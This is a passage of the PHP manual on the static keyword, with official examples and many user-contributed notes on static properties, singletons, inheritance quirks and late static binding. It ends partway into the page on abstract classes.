This can be surprising (it surprised me!) when coming from other object-oriented languages, which would output "doing something with subclass" in this case.


Static Keyword

Tip

This page describes the use of the static keyword to define static methods and properties. static can also be used to define static variables and for late static bindings. Please refer to those pages for information on those meanings of static.

Declaring class properties or methods as static makes them accessible without needing an instantiation of the class. A property declared as static cannot be accessed with an instantiated class object (though a static method can).

For compatibility with PHP 4, if no visibility declaration is used, then the property or method will be treated as if it was declared as public.

Because static methods are callable without an instance of the object created, the pseudo-variable $this is not available inside the method declared as static.

Static properties cannot be accessed through the object using the arrow operator ->.

Calling non-static methods statically generates an E_STRICT level warning.

Like any other PHP static variable, static properties may only be initialized using a literal or constant; expressions are not allowed. So while you may initialize a static property to an integer or array (for instance), you may not initialize it to another variable, to a function return value, or to an object.

As of PHP 5.3.0, it's possible to reference the class using a variable. The variable's value cannot be a keyword (e.g. self, parent and static).

Example #1 Static property example

<?php
class Foo
{
    public static $my_static = 'foo';

    public function staticValue() {
        return self::$my_static;
    }
}

class Bar extends Foo
{
    public function fooStatic() {
        return parent::$my_static;
    }
}

print Foo::$my_static . "\n";

$foo = new Foo();
print $foo->staticValue() . "\n";
print $foo->my_static . "\n";      // Undefined "Property" my_static

print $foo::$my_static . "\n";
$classname = 'Foo';
print $classname::$my_static . "\n"; // As of PHP 5.3.0

print Bar::$my_static . "\n";
$bar = new Bar();
print $bar->fooStatic() . "\n";
?>

Example #2 Static method example

<?php
class Foo {
    public static function aStaticMethod() {
        // ...
    }
}

Foo::aStaticMethod();
$classname = 'Foo';
$classname::aStaticMethod(); // As of PHP 5.3.0
?>

User Contributed Notes

ianromie at gmail dot com 09-Jul-2014 06:18
class A {
     public static function getName(){
          echo "My Name";
     }
     public static function getAge(){
          return "22";
     }
}
A::getName();
echo A::getAge();
Denis Ribeiro - dpr001 at gmail dot com 16-Mar-2014 11:23
Other point is that static methods just can access static properties, because the pseudo variable $this not exists in this scope like example below:

<?php
//is wrong, because the static methods can only access static properties
class Foo {
    public $property;
    public static function aStaticMethod() {
        echo "Accessing the property: {$this->property}"; //Fatal error:Using $this
    }
}

Foo::aStaticMethod();
$classname = 'Foo';
$classname::aStaticMethod(); // As of PHP 5.3.0

//Note that property $property is static and then can be using the word self instead of pseudo variable $this
class Foo2 {
    static $property = 'test';
    public static function aStaticMethod() {
        echo "Accessing the property: ". self::$property; //Accessing the property: test
    }
}

Foo2::aStaticMethod();
jkenigso at utk dot edu 22-Dec-2013 09:20
It bears mention that static variables (in the following sense) persist:

<?php
class StaticVars
{
  public static $a=1;
}
$b=new StaticVars;
$c=new StaticVars;

echo $b::$a; //outputs 1
$c::$a=2;
echo $b::$a; //outputs 2!
?>

Note that $c::$a=2 changed the value of $b::$a even though $b and $c are totally different objects.
manishpatel2280 at gmail dot com 19-Nov-2013 11:45
In real world, we can say will use static method when we dont want to create object instance.

e.g ...

validateEmail($email) {
 if(T) return true;
return false;
}

//This makes not much sense
$obj = new Validate();
$result = $obj->validateEmail($email);

//This makes more sense
$result = Validate::validateEmail($email);
desmatic 16-Nov-2013 06:40
Don't use GLOBALS in classes (or anywhere really), use static variables instead.  They're better. They can do everything a GLOBAL can and they can be protected by accessor functions so they'll never get clobbered.

class foo {

  private static $_private = null;

  public function get() {
    if (self::$_private === null) {
      self::$_private = new stdClass();
    }
    return self::$_private;
  }

}

class bar extends foo {

}

function scope_foo() {
  $f = new foo();
  $f->get()->name = "superdude";
}

function scope_bar() {
  $b = new bar();
  $b->get()->description = "an object reference test";
}

scope_foo();
scope_bar();

$my = new bar();
foreach ($my->get() as $key => $value) {
  echo "{$key} => {$value}\n";
}

outputs:
name => superdude
description => an object reference test
Anonymous 24-Oct-2013 10:34
It should be noted that in 'Example #2', you can also call a variably defined static method as follows:

<?php
class Foo {
    public static function aStaticMethod() {
        // ...
    }
}

$classname = 'Foo';
$methodname = 'aStaticMethod';
$classname::{$methodname}(); // As of PHP 5.3.0 I believe
?>
programmer-comfreek at hotmail dot com 08-Aug-2011 04:40
If you haven't an instance for your class (e.g. all functions are static), but you also want a __destruct() functionality, consider the following example:

We have a class which loads and saves data so we also want to have an autosave mechanism which is called at the end of the PHP script.

So usually you declare a __destruct function but our class is designed to provide static functions / variables instead:

<?php

class A
{
  static private $autoSave;
  static public function init($autoSave)
  {
    /* emulating __construct() */
    self::$autoSave = $autoSave;
  }
  static public function save() { /*...*/ } /* load(), get(), etc. */
}

?>
In order to define a __destruct function (which is definitely called) we create a new instance in the init() function and define a destruct() function (which is called from the 'real' one):

<?php

class B
{
  static private $autoSave;
  static public function init($autoSave)
  {
    /* emulating __construct() */
    self::$autoSave = $autoSave;
    new B();
  }
  static public function destruct()
  {
    if (self::$autoSave)
      self::save();
  }
  public function __destruct()
  {
    B::destruct();
  }
}

?>
payal001 at gmail dot com 09-Jul-2011 12:17
Here statically accessed property prefer property of the class for which it is called. Where as self keyword enforces use of current class only. Refer the below example:

<?php
class a{

static protected $test="class a";

public function static_test(){

echo static::$test; // Results class b
echo self::$test; // Results class a

}

}

class b extends a{

static protected $test="class b";

}

$obj = new b();
$obj->static_test();
?>
gratcypalma at gmail dot om 18-Apr-2011 08:50
<?php
class foo {
    private static $getInitial;

    public static function getInitial() {
        if (self::$getInitial == null)
            self::$getInitial = new foo();
        return self::$getInitial;
    }
}

foo::getInitial();

/*
this is the example to use new class with static method..
i hope it help
*/

?>
tolean_dj at yahoo dot com 12-Dec-2010 02:09
Starting with php 5.3 you can get use of new features of static keyword. Here's an example of abstract singleton class:

<?php

abstract class Singleton {

    protected static $_instance = NULL;

    /**
     * Prevent direct object creation
     */
    final private function  __construct() { }

    /**
     * Prevent object cloning
     */
    final private function  __clone() { }

    /**
     * Returns new or existing Singleton instance
     * @return Singleton
     */
    final public static function getInstance(){
        if(null !== static::$_instance){
            return static::$_instance;
        }
        static::$_instance = new static();
        return static::$_instance;
    }

}
?>
Mirco 23-Aug-2010 07:16
The simplest static constructor.

Because php does not have a static constructor and you may want to initialize static class vars, there is one easy way, just call your own function directly after the class definition.

for example.

<?php
function Demonstration()
{
    return 'This is the result of demonstration()';
}

class MyStaticClass
{
    //public static $MyStaticVar = Demonstration(); //!!! FAILS: syntax error
    public static $MyStaticVar = null;

    public static function MyStaticInit()
    {
        //this is the static constructor
        //because in a function, everything is allowed, including initializing using other functions

        self::$MyStaticVar = Demonstration();
    }
} MyStaticClass::MyStaticInit(); //Call the static constructor

echo MyStaticClass::$MyStaticVar;
//This is the result of demonstration()
?>
Anonymous 29-Jun-2010 03:49
I can't find anything in the PHP manual about this, but the new-ish E_STRICT error reporting will complain if an inherited class overrides a static method with a different call signature (usually a parameter list). Ironically, it seems to only be a problem of 'coding style' because the code works correctly and has done for quite a few versions.

The exact error is "Strict Standards: Declaration of [child-class]::[method]() should be compatible with that of [parent-class]::[method]()".

So if you must code with E_STRICT enabled, you need to rename the method name.

Google shows that this is biting *a lot* of people. (Bugs have been filed, but there has been no response yet.)
myselfasunder at gmail dot com 14-Apr-2010 06:42
If you inadvertently call a non-static method in one class from another class, using $this in the former will actually refer to the wrong class.

<?php
class CalledClass
{
    function go()
    {

        print(get_class($this) . "\n");

        return true;
    }
}

class CallerClass
{
    function go()
    {

        CalledClass::Go();

        return true;
    }
}

$obj = new CallerClass();
$obj->go();

// Output is "CallerClass" instead of "CalledClass" like it should be.
?>

Dustin Oprea
webmaster at removethis dot weird-webdesign dot de 25-Feb-2010 10:38
On PHP 5.2.x or previous you might run into problems initializing static variables in subclasses due to the lack of late static binding:

<?php
class A {
    protected static $a;

    public static function init($value) { self::$a = $value; }
    public static function getA() { return self::$a; }
}

class B extends A {
    protected static $a; // redefine $a for own use

    // inherit the init() method
    public static function getA() { return self::$a; }
}

B::init('lala');
echo 'A::$a = '.A::getA().'; B::$a = '.B::getA();
?>

This will output:
A::$a = lala; B::$a =

If the init() method looks the same for (almost) all subclasses there should be no need to implement init() in every subclass and by that producing redundant code.

Solution 1:
Turn everything into non-static. BUT: This would produce redundant data on every object of the class.

Solution 2:
Turn static $a on class A into an array, use classnames of subclasses as indeces. By doing so you also don't have to redefine $a for the subclasses and the superclass' $a can be private.

Short example on a DataRecord class without error checking:

<?php
abstract class DataRecord {
    private static $db; // MySQLi-Connection, same for all subclasses
    private static $table = array(); // Array of tables for subclasses

    public static function init($classname, $table, $db = false) {
        if (!($db === false)) self::$db = $db;
        self::$table[$classname] = $table;
    }

    public static function getDB() { return self::$db; }
    public static function getTable($classname) { return self::$table[$classname]; }
}

class UserDataRecord extends DataRecord {
    public static function fetchFromDB() {
        $result = parent::getDB()->query('select * from '.parent::getTable('UserDataRecord').';');

        // and so on ...
        return $result; // An array of UserDataRecord objects
    }
}

$db = new MySQLi(...);
UserDataRecord::init('UserDataRecord', 'users', $db);
$users = UserDataRecord::fetchFromDB();
?>

I hope this helps some people who need to operate on PHP 5.2.x servers for some reason. Late static binding, of course, makes this workaround obsolete.
valentin at balt dot name 26-Jan-2010 04:46
How to implement a one storage place based on static properties.

<?php
class a {

    public function get () {
        echo $this->connect();
    }
}
class b extends a {
    private static $a;

    public function connect() {
        return self::$a = 'b';
    }
}
class c extends a {
    private static $a;

    public function connect() {
        return self::$a = 'c';
    }
}
$b = new b ();
$c = new c ();

$b->get();
$c->get();
?>
Jay Cain 18-Dec-2009 11:45
Regarding the initialization of complex static variables in a class, you can emulate a static constructor by creating a static function named something like init() and calling it immediately after the class definition.

<?php
class Example {
    private static $a = "Hello";
    private static $b;

    public static function init() {
        self::$b = self::$a . " World!";
    }
}
Example::init();
?>
sep16 at psu dot edu 10-Jul-2009 09:32
I find having class variables useful for inherited classes, especially when inheriting abstract classes, yet self:: doesn't refer to the class calling the method, rather the actual class in which it was defined.  Although it is less memory efficient, this can be circumvented with instance properties, but sometimes even this won't work, i.e., when using resources like class-wide database or prepared statement handles.

The pre-5.3.0 way that I used to get around this limitation was to write a class that stores a central value and sets instance properties as references to this value.  In this way objects can have access to the same value while still being able to use inherited methods that reference this property.

Usage example:
<?php // (SharedPropertyClass is defined below)
class Foo extends SharedPropertyClass {
    public $foo = "bar";
    public function showFoo() {
        echo $this->foo, "\n";
    }
}
class FooToo extends Foo {
    public function __construct() {
        $this->makeShared('foo');
    }
}

$ojjo = new FooToo;
$ojjo->showFoo(); // "bar"

$xjjx = new FooToo;
$xjjx->showFoo(); // "bar"

$ojjo->foo = "new";
$ojjo->showFoo(); // "new"
$xjjx->showFoo(); // "new"
?>

Notice how the showFoo() method, while defined in the parent class, correctly uses the child class's "foo" property (unlike self:: would), and how the "foo" property is shared by all instances of FooToo objects (like a static property).  This is essentially how the new static:: keyword will work, and how most people probably expected the self:: keyword to work.

<?php
// ---------------------------------------------------------------
abstract class SharedPropertyClass {
// ---------------------------------------------------------------
/*
    Shared properties should be declared as such in the
    constructor function of the inheriting class.

    The first instance will have the shared property set to
    the value in the class definition, if any, otherwise null.
    All subsequent instances will also have their shared
    property set as a reference to that variable.

*/
    private static $shared = array();
    public function makeShared($property) {
        $class = get_class($this);
        if (!property_exists($this,$property))
            trigger_error("Access to undeclared property "
            . "'$property' in class $class.",E_USER_ERROR);
        if (!array_key_exists($class,self::$shared))
            self::$shared[$class] = array();
        if (!array_key_exists($property,self::$shared[$class]))
            self::$shared[$class][$property]
                = isset($this->$property)
                ? $this->$property
                : null;
        $this->$property =& self::$shared[$class][$property];
    }
    public function isShared($property) {
        $class = get_class($this);
        if (!property_exists($this,$property))
            trigger_error("Access to undeclared property "
            . "'$property' in class $class.",E_USER_ERROR);
        return array_key_exists($class,self::$shared)
            && array_key_exists($property, self::$shared[$class]);
    }
}
?>
davidn at xnet dot co dot nz 18-Mar-2009 01:56
Static variables are shared between sub classes

<?php
class MyParent {

    protected static $variable;
}

class Child1 extends MyParent {

    function set() {

        self::$variable = 2;
    }
}

class Child2 extends MyParent {

    function show() {

        echo(self::$variable);
    }
}

$c1 = new Child1();
$c1->set();
$c2 = new Child2();
$c2->show(); // prints 2
?>
yesmarklapointe at hotmail dot com 22-Jan-2009 08:19
<?php
// experiments with static
// tested on PHP 5.2.6  on 1-21-09

class User{
    const GIVEN = 1;  // class constants can't be labeled static nor assigned visibility
    public $a=2;
    public static $b=3;

    public function me(){
        echo "print me";
    }
     public static function you() {
        echo "print you";
    }
}

class myUser extends User {
}

// Are properties and methods instantiated to an object of a class, & are they accessible?
//$object1= new User();        // uncomment this line with each of the following lines individually
//echo $object1->GIVEN . "</br>";        // yields nothing
//echo $object1->GIVE . "</br>";        //  deliberately misnamed, still yields nothing
//echo $object1->User::GIVEN . "</br>";    // yields nothing
//echo $object1->a . "</br>";        // yields 2
//echo $object1->b . "</br>";        // yields nothing
//echo $object1->me() . "</br>";        // yields print me
//echo $object1->you() . "</br>";        // yields print you

// Are  properties and methods instantiated to an object of a child class,  & are accessible?
//$object2= new myUser();        // uncomment this line with each of the following lines individually
//echo $object2->GIVEN . "</br>";        // yields nothing
//echo $object2->a . "</br>";        // yields 2
//echo $object2->b . "</br>";        // yields nothing
//echo $object2->me() . "</br>";        // yields print me
//echo $object2->you() . "</br>";        // yields print you

// Are the properties and methods accessible directly in the class?
//echo User::GIVEN . "</br>";        // yields 1
//echo User::$a . "</br>";            // yields fatal error since it is not static
//echo User::$b . "</br>";            // yields 3
//echo User::me() . "</br>";        // yields print me
//echo User::you() . "</br>";        // yields print you

// Are the properties and methods copied to the child class and are they accessible?
//echo myUser::GIVEN . "</br>";        // yields 1
//echo myUser::$a . "</br>";        // yields fatal error since it is not static
//echo myUser::$b . "</br>";        // yields 3
//echo myUser::me() . "</br>";        // yields print me
//echo myUser::you() . "</br>";        // yields print you
?>
zerocool at gameinsde dot ru 20-Oct-2008 10:06
Hi, here's my simple Singleton example, i think it can be useful for someone. You can use this pattern to connect to the database for example.

<?php

  class MySingleton
  {
    private static $instance = null;

    private function __construct()
    {
      $this-> name = 'Freddy';

    }

    public static function getInstance()
    {
      if(self::$instance == null)
      {
        print "Object created!<br>";
        self::$instance = new self;

      }

      return self::$instance;

    }

    public function sayHello()
    {
      print "Hello my name is {$this-> name}!<br>";

    }

    public function setName($name)
    {
      $this-> name = $name;

    }

  }

  //

  $objA = MySingleton::getInstance(); // Object created!

  $objA-> sayHello(); // Hello my name is Freddy!

  $objA-> setName("Alex");

  $objA-> sayHello(); // Hello my name is Alex!

  $objB = MySingleton::getInstance();

  $objB-> sayHello(); // Hello my name is Alex!

  $objB-> setName("Bob");

  $objA-> sayHello(); // Hello my name is Bob!

?>
wbcarts at juno dot com 18-Oct-2008 07:24
[NB: This is a copy of the note by juno dot com on 11-Sep-2008 04:53, but with syntax highlighting.]

A CLASS WITH MEAT ON IT'S BONES...

I have yet to see an example that I can really get my chops into. So I am offering an example that I hope will satisfy most of us.

<?php

class RubberBall
{
  /*
   * ALLOW these properties to be inherited TO extending classes - that's
   * why they're not private.
   *
   * DO NOT ALLOW outside code to access with 'RubberBall::$property_name' -
   * that's why they're not public.
   *
   * Outside code should use:
   *  - RubberBall::getCount()
   *  - RubberBall::setStart()
   * These are the only routines outside code can use - very limited indeed.
   *
   * Inside code has unlimited access by using self::$property_name.
   *
   * All RubberBall instances will share a "single copy" of these properties - that's
   * why they're static.
   */
  protected static $count = 0;
  protected static $start = 1;
  protected static $colors = array('red','yellow','blue','orange', 'green', 'white');
  protected static $sizes = array(4, 6, 8, 10, 12, 16);

  public $name;
  public $color;
  public $size;

  public function __construct(){
    $this->name = 'RB_' . self::$start++;
    $this->color = (int) rand(0, 5);
    $this->size = self::$sizes[(int) rand(0, 5)];
    self::$count++;
  }

  public static function getCount(){
    return self::$count;
  }

  public static function setStart($val){
    self::$start = $val;
  }

  /*
   * Define the sorting rules for RubberBalls - which is to sort by self::$colors.
   * PHP's usort() method will call this function many many times.
   */
  public static function compare($a, $b){
    if($a->color < $b->color) return -1;
    else if($a->color == $b->color) return 0;
    else return 1;
  }

  public function __toString(){
    return "RubberBall[
      name=$this->name,
      color=" . self::$colors[$this->color] . ",
      size=" . $this->size . "\"]";
  }
}

# RubberBall counts the number of objects created, but allows us to
# set the starting count like so:
RubberBall::setStart(100);

# create a PHP Array and initialize it with (12) RubberBall objects
$balls = array();
for($i = 0; $i < 12; $i++) $balls[] = new RubberBall();

# sort the RubberBall objects. PHP's usort() calls RubberBall::compare() to do this.
usort($balls, array("RubberBall", "compare"));

# print the sorted results - uses the static RubberBall::getCount().
echo 'RubberBall count: ' . RubberBall::getCount() . '<br><br>';
foreach($balls as $ball) echo $ball . '<br>';

?>

I'm running out of room so I have not displayed the output, but it is tested and it works great.
vvikramraj at yahoo dot com 24-Sep-2008 12:24
when attempting to implement a singleton class, one might also want to either
a) disable __clone by making it private
b) bash the user who attempts to clone by defining __clone to throw an exception
wbcarts at juno dot com 11-Sep-2008 05:53
A CLASS WITH MEAT ON IT'S BONES...

I have yet to see an example that I can really get my chops into. So I am offering an example that I hope will satisfy most of us.

class RubberBall
{
  /*
   * ALLOW these properties to be inherited TO extending classes - that's
   * why they're not private.
   *
   * DO NOT ALLOW outside code to access with 'RubberBall::$property_name' -
   * that's why they're not public.
   *
   * Outside code should use:
   *  - RubberBall::getCount()
   *  - RubberBall::setStart()
   * These are the only routines outside code can use - very limited indeed.
   *
   * Inside code has unlimited access by using self::$property_name.
   *
   * All RubberBall instances will share a "single copy" of these properties - that's
   * why they're static.
   */
  protected static $count = 0;
  protected static $start = 1;
  protected static $colors = array('red','yellow','blue','orange', 'green', 'white');
  protected static $sizes = array(4, 6, 8, 10, 12, 16);

  public $name;
  public $color;
  public $size;

  public function __construct(){
    $this->name = 'RB_' . self::$start++;
    $this->color = (int) rand(0, 5);
    $this->size = self::$sizes[(int) rand(0, 5)];
    self::$count++;
  }

  public static function getCount(){
    return self::$count;
  }

  public static function setStart($val){
    self::$start = $val;
  }

  /*
   * Define the sorting rules for RubberBalls - which is to sort by self::$colors.
   * PHP's usort() method will call this function many many times.
   */
  public static function compare($a, $b){
    if($a->color < $b->color) return -1;
    else if($a->color == $b->color) return 0;
    else return 1;
  }

  public function __toString(){
    return "RubberBall[
      name=$this->name,
      color=" . self::$colors[$this->color] . ",
      size=" . $this->size . "\"]";
  }
}

# RubberBall counts the number of objects created, but allows us to
# set the starting count like so:
RubberBall::setStart(100);

# create a PHP Array and initialize it with (12) RubberBall objects
$balls = array();
for($i = 0; $i < 12; $i++) $balls[] = new RubberBall();

# sort the RubberBall objects. PHP's usort() calls RubberBall::compare() to do this.
usort($balls, array("RubberBall", "compare"));

# print the sorted results - uses the static RubberBall::getCount().
echo 'RubberBall count: ' . RubberBall::getCount() . '<br><br>';
foreach($balls as $ball) echo $ball . '<br>';

I'm running out of room so I have not displayed the output, but it is tested and it works great.
Mathijs Vos 23-Aug-2008 12:53
<?php
class foo
{
    public static $myStaticClass;

    public function __construct()
    {
        self::myStaticClass = new bar();
    }
}

class bar
{
        public function __construct(){}
}
?>

Please note, this won't work.
Use self::$myStaticClass = new bar(); instead of self::myStaticClass = new bar(); (note the $ sign).
Took me an hour to figure this out.
michaelnospamdotnospamdaly at kayakwiki 14-Jul-2008 03:59
Further to the comment by "erikzoltan NOSPAM at msn NOSPAM dot com" on 05-Apr-2005 03:40,

It isn't just constructors that can't be used for static variable initialization, it's functions in general:

class XYZ
{
   static  $foo = chr(1);   // will fail
}

You have to do external initialization:

XYZ::$foo = chr(1);
class XYZ
{
   static  $foo;
}
Siarhei 04-Mar-2008 02:25
There is a problem to make static property shared only for objects of self class not defining it in every child class.

Example:

class a
{
  public static $s;

  public function get()
  {
    return self::$s;
  }
}

class b extends a { }

class c extends b { }

a::$s = 'a';

$c = new c();
echo $c->get(); // a

There is solution i found:

class a
{
  public final function v($vs = null)
  {
    static $s = null;

    if(!is_null($vs))
    $s = $vs;

    return $s;
  }
}

class b extends a { }

class c extends b { }

$a = new a();
$a->v('a');

$aa = new a();
$aa->v('last a');

$c = new c();
$c->v('c');

echo $a->v().' - '.$c->v(); // last a - c
inkredibl 28-Jan-2008 09:27
Note that you should read "Variables/Variable scope" if you are looking for static keyword use for declaring static variables inside functions (or methods). I myself had this gap in my PHP knowledge until recently and had to google to find this out. I think this page should have a "See also" link to static function variables.
http://www.php.net/manual/en/language.variables.scope.php
ssj dot narutovash at gmail dot com 02-Jan-2008 05:48
It's come to my attention that you cannot use a static member in an HEREDOC string.  The following code

class A
{
  public static $BLAH = "user";

  function __construct()
  {
    echo <<<EOD
<h1>Hello {self::$BLAH}</h1>
EOD;
  }
}

$blah = new A();

produces this in the source code:

<h1>Hello {self::}</h1>

Solution:

before using a static member, store it in a local variable, like so:

class B
{
  public static $BLAH = "user";

  function __construct()
  {
    $blah = self::$BLAH;
    echo <<<EOD
<h1>Hello {$blah}</h1>
EOD;
  }
}

and the output's source code will be:

<h1>Hello user</h1>
Clment Genzmer 09-Aug-2007 10:54
The best solution I found for the non-inherited static problem : pass the name of the class.

<?php

class A {

    public static $my_vars = "I'm in A";

    static function find($class) {
         $vars = get_class_vars($class) ;
         echo $vars['my_vars'] ;
    }
}
class B extends A {
     public static $my_vars = "I'm in B";
}

B::find("B");
// Result : "I'm in B"
?>
jan(dot)-re-mov.ethis-mazanek/AT-abeo.cz 20-Sep-2006 08:42
This reacts to comment from
michael at digitalgnosis dot removethis dot com from 16-Dec-2004 08:09

> Note that Base::Foo() may no longer be declared 'static' since static methods cannot be overridden (this means it will trigger errors if error level includes E_STRICT.)

In my test on Windows PHP Version 5.1.4 it seems that it *is possible* to override static method.

This code works at my machine without producing E_STRICT error:
<?php
class Base
{
   static function Foo ( $class = __CLASS__ )
   {
       call_user_func(array($class,'Bar'));
   }
}

class Derived extends Base
{
   static function Foo ( $class = __CLASS__ )
   {
       parent::Foo($class);
   }

   static function Bar ()
   {
       echo "Derived::Bar()";
   }
}

Derived::Foo(); // This time it works.
?>
Jakob Schwendner 04-Nov-2005 10:17
Here is my solution to the static search method problem for data objects. I found the debug_trace version posted earlier quite clever, but a little too risky.

<?php
class Foo {
    static function find($class) {
        $obj = new $class();
        return $obj;
    }
}

class Bar extends Foo {
    static function find() {
        return parent::find(__CLASS__);
    }

    function print_hello() {
        echo("hello");
    }
}

Bar::find()->print_hello();
?>
aidan at php dot net 04-May-2005 04:14
To check if a function was called statically or not, you'll need to do:

<?php
function foo () {
    $isStatic = !(isset($this) && get_class($this) == __CLASS__);
}
?>

More at (http://blog.phpdoc.info/archives/4-Schizophrenic-Methods.html).

(I'll add this to the manual soon).
06-Apr-2005 12:14
You misunderstand the meaning of inheritance : there is no duplication of members when you inherit from a base class. Members are shared through inheritance, and can be accessed by derived classes according to visibility (public, protected, private).

The difference between static and non static members is only that a non static member is tied to an instance of a class although a static member is tied to the class, and not to a particular instance.
That is, a static member is shared by all instances of a class although a non static member exists for each instance of  class.

Thus, in your example, the static property has the correct value, according to principles of object oriented conception.
class Base
{
  public $a;
  public static $b;
}

class Derived extends Base
{
  public function __construct()
  {
    $this->a = 0;
    parent::$b = 0;
  }
  public function f()
  {
    $this->a++;
    parent::$b++;
  }
}

$i1 = new Derived;
$i2 = new Derived;

$i1->f();
echo $i1->a, ' ', Derived::$b, "\n";
$i2->f();
echo $i2->a, ' ', Derived::$b, "\n";

outputs
1 1
1 2
erikzoltan NOSPAM at msn NOSPAM dot com 06-Apr-2005 02:50
I was doing this in a more complex example (than previous note) and found that I had to place the initialization statement AFTER the class in a file where I was using the __autoload function.
erikzoltan NOSPAM at msn NOSPAM dot com 06-Apr-2005 12:40
I had trouble getting a static member to be an instance of a class.  Here's a code example that DOESN'T work.

<?php

// This doesn't work.

class XYZ
{
    // The following line will throw a syntax error.
    public static $ABC = new ABC();
}

class ABC
{
}

$myXyz = new XYZ();
var_dump($myXyz);
var_dump(XYZ::$ABC);

?>

I get the following entry in my error log.

[05-Apr-2005 18:27:41] PHP Parse error: syntax error, unexpected T_NEW in staticTest.php on line 7

Since PHP doesn't appear to allow static constructor methods, I was only able to resolve this problem by moving the initialization outside of the class.  To make my code more self-documenting I put it above the class.  The revised example below appears to work.

<?php

// This will work.

// Moved the static variable's initialization logic outside the class.
XYZ::$ABC = new ABC();

class XYZ
{
    // I'm just declaring the static variable here, but I'm not initializing it.
    public static $ABC;
}

class ABC
{
}

$myXyz = new XYZ();
var_dump($myXyz);
var_dump(XYZ::$ABC);

?>
michalf at ncac dot torun dot pl 31-Mar-2005 11:42
Inheritance with the static elements is a nightmare in php. Consider the following code:

<?php
class BaseClass{
    public static $property;
}

class DerivedClassOne extends BaseClass{
}

class DerivedClassTwo extends BaseClass{
}

DerivedClassOne::$property = "foo";
DerivedClassTwo::$property = "bar";

echo DerivedClassOne::$property; //one would naively expect "foo"...
?>

What would you expect as an output? "foo"? wrong. It is "bar"!!! Static variables are not inherited, they point to the BaseClass::$property.

At this point I think it is a big pity inheritance does not work in case of static variables/methods. Keep this in mind and save your time when debugging.

best regards - michal
c_daught_d at earthlink dot net 14-Jan-2005 10:57
A twist on christian at koch dot net's Singleton example is setting/getting non-static member variables using self::$instance->varname within static method calls.

Within the modified Singleton class below, the member variable $value is set within the getInstance static method instead of the constructor.

Whether this is "pure" OPP, I don't know. But it does work, is worth mentioning, and could be usefull.

class Singleton
{

    private static $instance=null;
    private $value=null;

    private function __construct() {
    }

    public static function getInstance() {
        if ( self::$instance == null ) {
            echo "<br>new<br>";
            self::$instance = new Singleton("values");
            self::$instance->value = "values";
        }
        else {
            echo "<br>old<br>";
        }

        return self::$instance;
    }
}
ference at super_delete_brose dot co dot uk 14-Jan-2005 04:11
Both static and const fields can be accessed with the :: operator. However, while a constant can't be changed, this is not true for static variables.

If you want to access an array using the :: operator you have to declare the array static, since you can't have a constant array. Beware:

<?php
class foo
{
  static $stuff = array('key1' => 1, 'key2' => 2);
}

class bar
{
  public function __construct()
  {
    var_dump(foo::$stuff);
  }
}

class bad
{
  public function __construct()
  {
    foo::$stuff = FALSE;
  }
}

new bar();    // prints array(2) { ["key1"]=> int(1) ["key2"]=> int(2) }

new bad();
new bar();    // prints bool(false)
?>

A safe implementation requires a little more effort:

<?php
class foo
{
  private static $stuff = array('key1' => 1, 'key2' => 2);

  public final static function getstuff()
  {
    return self::$stuff;
  }
}

class bar
{
  public function __construct()
  {
    var_dump(foo::getstuff());
  }
}

class bad
{
  public function __construct()
  {
    foo::$stuff = FALSE;
  }
}

new bar();    // prints array(2) { ["key1"]=> int(1) ["key2"]=> int(2) }
new bad();    // results in a fatal error
?>
michael at digitalgnosis dot removethis dot com 16-Dec-2004 08:41
Here's another way to do the same thing (see my post below) without having to muck up your Foo() function's parameters in the Base and all Derived classes.

However, you cannot use static, and still must define Foo() in derived classes.  This way also performs slower and may not always work--but it DOES make for prettier code.

<?php

class Base
{
    function Foo ()
    {
        $call = debug_backtrace();
        call_user_func(array($call[1]['class'],'Bar'));
    }
}

class Derived extends Base
{
    function Foo () { parent::Foo(); }

    function Bar ()
    {
        echo "Derived::Bar()";
    }
}

Derived::Foo();

?>
michael at digitalgnosis dot removethis dot com 16-Dec-2004 08:09
If you are trying to write classes that do this:

<?php

class Base
{
    static function Foo ()
    {
        self::Bar();
    }
}

class Derived extends Base
{
    function Bar ()
    {
        echo "Derived::Bar()";
    }
}

Derived::Foo(); // we want this to print "Derived::Bar()"

?>

Then you'll find that PHP can't (unless somebody knows the Right Way?) since 'self::' refers to the class which owns the /code/, not the actual class which is called at runtime. (__CLASS__ doesn't work either, because: A. it cannot appear before ::, and B. it behaves like 'self')

But if you must, then here's a (only slightly nasty) workaround:

<?php

class Base
{
    function Foo ( $class = __CLASS__ )
    {
        call_user_func(array($class,'Bar'));
    }
}

class Derived extends Base
{
    function Foo ( $class = __CLASS__ )
    {
        parent::Foo($class);
    }

    function Bar ()
    {
        echo "Derived::Bar()";
    }
}

Derived::Foo(); // This time it works.

?>

Note that Base::Foo() may no longer be declared 'static' since static methods cannot be overridden (this means it will trigger errors if error level includes E_STRICT.)

If Foo() takes parameters then list them before $class=__CLASS__ and in most cases, you can just forget about that parameter throughout your code.

The major caveat is, of course, that you must override Foo() in every subclass and must always include the $class parameter when calling parent::Foo().
dmintz at davidmintz dot org 10-Nov-2004 12:20
[Editor's Note: This is done for back compatability. Depending on your error level, An E_STRICT error will be thrown.]

PHP 5.0.1 doesn't seem to mind if you call a static method in a non-static context, though it might not be the best of style to do so.

On the other hand, PHP complains if you try to try to call a non-static method in a static context (if your error reporting is cranked up to E_STRICT).

class Test {

    static function static_method() {
        echo "Here's your static method: Foo!<br />\n";
    }
    function static_method_caller() {
        echo "static_method_caller says:  ";$this->static_method();
    }
    function non_static() {
        echo "I am not a static method<br />\n";
    }

}

$t = new Test();
$t->static_method();
$t->static_method_caller();
Test::non_static();


Class Abstraction

PHP 5 introduces abstract classes and methods. Classes defined as abstract may not be instantiated, and any class that contains at least one abstract method must also be abstract. Methods defined as abstract simply declare the method's signature - they cannot define the implementation.

When inheriting from an abstract class, all methods marked abstract in the parent's class declaration must be defined by the child; additionally, these methods must be defined with the same (or a less restricted) visibility. For example, if the abstract method is defined as protected, the function implementation must be defined as either protected or public, but not private. Furthermore the signatures of the methods must match, i.e. the type hints and the number of required arguments must be the same. For example, if the child class defines an optional argument, where the abstract method's signature does not, there is no conflict in the signature. This also applies to constructors as of PHP 5.4. Before 5.4 constructor signatures could differ.

Example #1 Abstract class example

<?php
abstract class AbstractClass
{
    // Force Extending class to define this method
    abstract protected function getValue();
    abstract protected function prefixValue($prefix);

    // Common method
    public function printOut() {
        print $this->getValue() . "\n";
    }
}

class ConcreteClass1 extends AbstractClass
{
    protected function getValue() {
        return "ConcreteClass1";
    }

    public function prefixValue($prefix) {
        return "{$prefix}ConcreteClass1";
    }
}

class ConcreteClass2 extends AbstractClass
{
    public function getValue() {
        return "ConcreteClass2";
    }

